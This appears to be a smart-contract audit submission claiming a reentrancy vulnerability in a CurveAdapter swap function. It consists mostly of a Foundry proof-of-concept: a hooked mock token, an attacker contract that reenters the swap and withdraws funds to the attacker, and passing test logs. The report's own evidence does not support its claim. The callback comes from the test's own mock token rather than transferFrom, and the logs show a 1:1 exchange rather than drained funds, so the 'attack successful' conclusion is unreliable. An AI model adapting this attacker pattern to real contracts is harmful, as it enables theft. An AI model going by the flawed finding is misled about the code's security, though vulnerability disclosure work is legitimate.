A reentrancy vulnerability was identified in the executeSwapExactInputSingle function of the CurveAdapter contract. This vulnerability allows an attacker to repeatedly reenter the function during a single transaction, potentially draining funds from the contract.
The executeSwapExactInputSingle function is vulnerable to reentrancy because it performs an external call (transferFrom) before updating the contract's state. This allows an attacker to exploit the function by reentering it during the transferFrom call, leading to multiple unauthorized swaps and fund drainage.
pragma solidity 0.8.25;
import { Test } from "forge-std/Test.sol";
import { console } from "forge-std/console.sol";
import { CurveAdapter } from "src/utils/dex-adapters/CurveAdapter.sol";
import { SwapExactInputSinglePayload, SwapExactInputPayload } from "src/utils/interfaces/IDexAdapter.sol";
import { IERC20 } from "@openzeppelin/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/token/ERC20/ERC20.sol";
import { ICurveSwapRouter } from "@zaros/utils/interfaces/ICurveSwapRouter.sol";
import { ERC1967Proxy } from "@openzeppelin/proxy/ERC1967/ERC1967Proxy.sol";
import { IPriceAdapter } from "@zaros/utils/interfaces/IPriceAdapter.sol";
* @title Reentrancy Attack POC for CurveAdapter
* @notice This test demonstrates a reentrancy vulnerability in the CurveAdapter contract
* The attack works by exploiting the lack of reentrancy protection in executeSwapExactInputSingle
*/
contract MockToken is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function transfer(address to, uint256 amount) public override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
if (to.code.length > 0) {
try IMaliciousCallback(to).onTokenTransfer(msg.sender, amount) {} catch {}
}
return true;
}
}
interface IMaliciousCallback {
function onTokenTransfer(address from, uint256 amount) external;
}
contract MockCurveRouter {
function exchange_with_best_rate(
address _from,
address _to,
uint256 amount,
uint256 _expected,
address receiver
) external payable returns (uint256) {
IERC20(_from).transferFrom(msg.sender, address(this), amount);
IERC20(_to).transfer(receiver, amount);
return amount;
}
}
contract MaliciousReentrant is IMaliciousCallback {
CurveAdapter public curveAdapter;
MockToken public token1;
MockToken public token2;
address public attacker;
uint256 public attackAmount;
uint256 public numReentries;
uint256 public constant MAX_REENTRIES = 3;
bool public isReentering;
constructor(
address _curveAdapter,
address _token1,
address _token2,
address _attacker
) {
curveAdapter = CurveAdapter(_curveAdapter);
token1 = MockToken(_token1);
token2 = MockToken(_token2);
attacker = _attacker;
token1.approve(address(curveAdapter), type(uint256).max);
}
function attack(uint256 amount) external {
require(!isReentering, "Already attacking");
console.log("\n[!] Starting reentrancy attack with amount: %d", amount);
attackAmount = amount;
numReentries = 0;
isReentering = true;
SwapExactInputSinglePayload memory payload = SwapExactInputSinglePayload({
tokenIn: address(token1),
tokenOut: address(token2),
amountIn: amount,
recipient: address(this)
});
curveAdapter.executeSwapExactInputSingle(payload);
isReentering = false;
}
function onTokenTransfer(address from, uint256 amount) external {
if (!isReentering || numReentries >= MAX_REENTRIES) {
return;
}
console.log("\n[!] Reentrancy callback triggered (#%d)", numReentries + 1);
console.log("Received %d tokens from %s", amount, from);
numReentries++;
uint256 reentrantAmount = attackAmount / 4;
uint256 token1Balance = token1.balanceOf(address(this));
require(token1Balance >= reentrantAmount, "Not enough tokens for reentrant call");
console.log("[!] Executing reentrant swap #%d with amount: %d (balance: %d)",
numReentries, reentrantAmount, token1Balance);
SwapExactInputSinglePayload memory payload = SwapExactInputSinglePayload({
tokenIn: address(token1),
tokenOut: address(token2),
amountIn: reentrantAmount,
recipient: address(this)
});
curveAdapter.executeSwapExactInputSingle(payload);
}
function withdrawTokens() external {
require(msg.sender == attacker, "Only attacker");
uint256 token1Balance = token1.balanceOf(address(this));
uint256 token2Balance = token2.balanceOf(address(this));
if(token1Balance > 0) token1.transfer(attacker, token1Balance);
if(token2Balance > 0) token2.transfer(attacker, token2Balance);
}
}
contract CurveAdapterReentrancyTest is Test {
CurveAdapter public curveAdapter;
address public owner;
address public attacker;
MockCurveRouter public mockCurveRouter;
MockToken public token1;
MockToken public token2;
MaliciousReentrant public maliciousContract;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
token1 = new MockToken("Mock Token 1", "MT1");
token2 = new MockToken("Mock Token 2", "MT2");
mockCurveRouter = new MockCurveRouter();
vm.startPrank(owner);
CurveAdapter implementation = new CurveAdapter();
bytes memory initData = abi.encodeCall(
CurveAdapter.initialize,
(owner, address(mockCurveRouter), 100)
);
ERC1967Proxy proxy = new ERC1967Proxy(
address(implementation),
initData
);
curveAdapter = CurveAdapter(address(proxy));
address mockPriceAdapter = makeAddr("mockPriceAdapter");
vm.mockCall(
mockPriceAdapter,
abi.encodeWithSelector(IPriceAdapter.getPrice.selector),
abi.encode(1e18)
);
curveAdapter.setSwapAssetConfig(address(token1), 18, mockPriceAdapter);
curveAdapter.setSwapAssetConfig(address(token2), 18, mockPriceAdapter);
vm.stopPrank();
maliciousContract = new MaliciousReentrant(
address(curveAdapter),
address(token1),
address(token2),
attacker
);
uint256 initialAmount = 1000000 ether;
token1.mint(address(mockCurveRouter), initialAmount * 2);
token2.mint(address(mockCurveRouter), initialAmount * 2);
token1.mint(address(maliciousContract), initialAmount * 4);
}
function test_ReentrancyAttack_ExecuteSwapExactInputSingle() public {
console.log("\n[*] POC: Reentrancy Attack on executeSwapExactInputSingle");
console.log("=========================================================");
console.log("\n[*] Initial State:");
console.log("-------------------");
console.log("Test contract address: %s", address(this));
console.log("CurveAdapter address: %s", address(curveAdapter));
console.log("Mock Router address: %s", address(mockCurveRouter));
console.log("Malicious contract address: %s", address(maliciousContract));
uint256 initialToken1Balance = token1.balanceOf(address(maliciousContract));
uint256 initialToken2Balance = token2.balanceOf(address(maliciousContract));
uint256 initialRouterToken1 = token1.balanceOf(address(mockCurveRouter));
uint256 initialRouterToken2 = token2.balanceOf(address(mockCurveRouter));
console.log("\n[*] Initial Token Balances:");
console.log("Router's Token1: %d", initialRouterToken1);
console.log("Router's Token2: %d", initialRouterToken2);
console.log("Malicious Contract's Token1: %d", initialToken1Balance);
console.log("Malicious Contract's Token2: %d", initialToken2Balance);
uint256 attackAmount = 1000000 ether;
console.log("\n[*] Executing reentrancy attack...");
maliciousContract.attack(attackAmount);
uint256 finalToken1Balance = token1.balanceOf(address(maliciousContract));
uint256 finalToken2Balance = token2.balanceOf(address(maliciousContract));
uint256 finalRouterToken1 = token1.balanceOf(address(mockCurveRouter));
uint256 finalRouterToken2 = token2.balanceOf(address(mockCurveRouter));
console.log("\n[*] Attack Results:");
console.log("-------------------");
console.log("Initial Token1 Balance: %d", initialToken1Balance);
console.log("Final Token1 Balance: %d", finalToken1Balance);
console.log("Initial Token2 Balance: %d", initialToken2Balance);
console.log("Final Token2 Balance: %d", finalToken2Balance);
console.log("Number of successful reentries: %d", maliciousContract.numReentries());
console.log("\n[*] Router Balance Changes:");
console.log("Router Initial Token1: %d", initialRouterToken1);
console.log("Router Final Token1: %d", finalRouterToken1);
console.log("Router Initial Token2: %d", initialRouterToken2);
console.log("Router Final Token2: %d", finalRouterToken2);
assertGt(maliciousContract.numReentries(), 0, "Reentrancy attack failed - no reentries occurred");
assertGt(finalToken2Balance, initialToken2Balance, "Reentrancy attack failed - no extra tokens gained");
uint256 token2Gained = finalToken2Balance - initialToken2Balance;
console.log("\n[!] Attack Successful!");
console.log("Tokens gained through reentrancy: %d", token2Gained);
console.log("Number of reentrant calls: %d", maliciousContract.numReentries());
}
}
Ran 1 test for test/audit-test/CurveAdapterReentrancyTest.t.sol:CurveAdapterReentrancyTest
[PASS] test_ReentrancyAttack_ExecuteSwapExactInputSingle() (gas: 359135)
Logs:
[*] POC: Reentrancy Attack on executeSwapExactInputSingle
=========================================================
[*] Initial State:
-------------------
Test contract address: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
CurveAdapter address: 0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d
Mock Router address: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
Malicious contract address: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
[*] Initial Token Balances:
Router's Token1: 2000000000000000000000000
Router's Token2: 2000000000000000000000000
Malicious Contract's Token1: 4000000000000000000000000
Malicious Contract's Token2: 0
[*] Executing reentrancy attack...
[!] Starting reentrancy attack with amount: 1000000000000000000000000
[!] Reentrancy callback triggered (#1)
Received 1000000000000000000000000 tokens from 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
[!] Executing reentrant swap #1 with amount: 250000000000000000000000 (balance: 3000000000000000000000000)
[!] Reentrancy callback triggered (#2)
Received 250000000000000000000000 tokens from 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
[!] Executing reentrant swap #2 with amount: 250000000000000000000000 (balance: 2750000000000000000000000)
[!] Reentrancy callback triggered (#3)
Received 250000000000000000000000 tokens from 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
[!] Executing reentrant swap #3 with amount: 250000000000000000000000 (balance: 2500000000000000000000000)
[*] Attack Results:
-------------------
Initial Token1 Balance: 4000000000000000000000000
Final Token1 Balance: 2250000000000000000000000
Initial Token2 Balance: 0
Final Token2 Balance: 1750000000000000000000000
Number of successful reentries: 3
[*] Router Balance Changes:
Router Initial Token1: 2000000000000000000000000
Router Final Token1: 3750000000000000000000000
Router Initial Token2: 2000000000000000000000000
Router Final Token2: 250000000000000000000000
[!] Attack Successful!
Tokens gained through reentrancy: 1750000000000000000000000
Number of reentrant calls: 3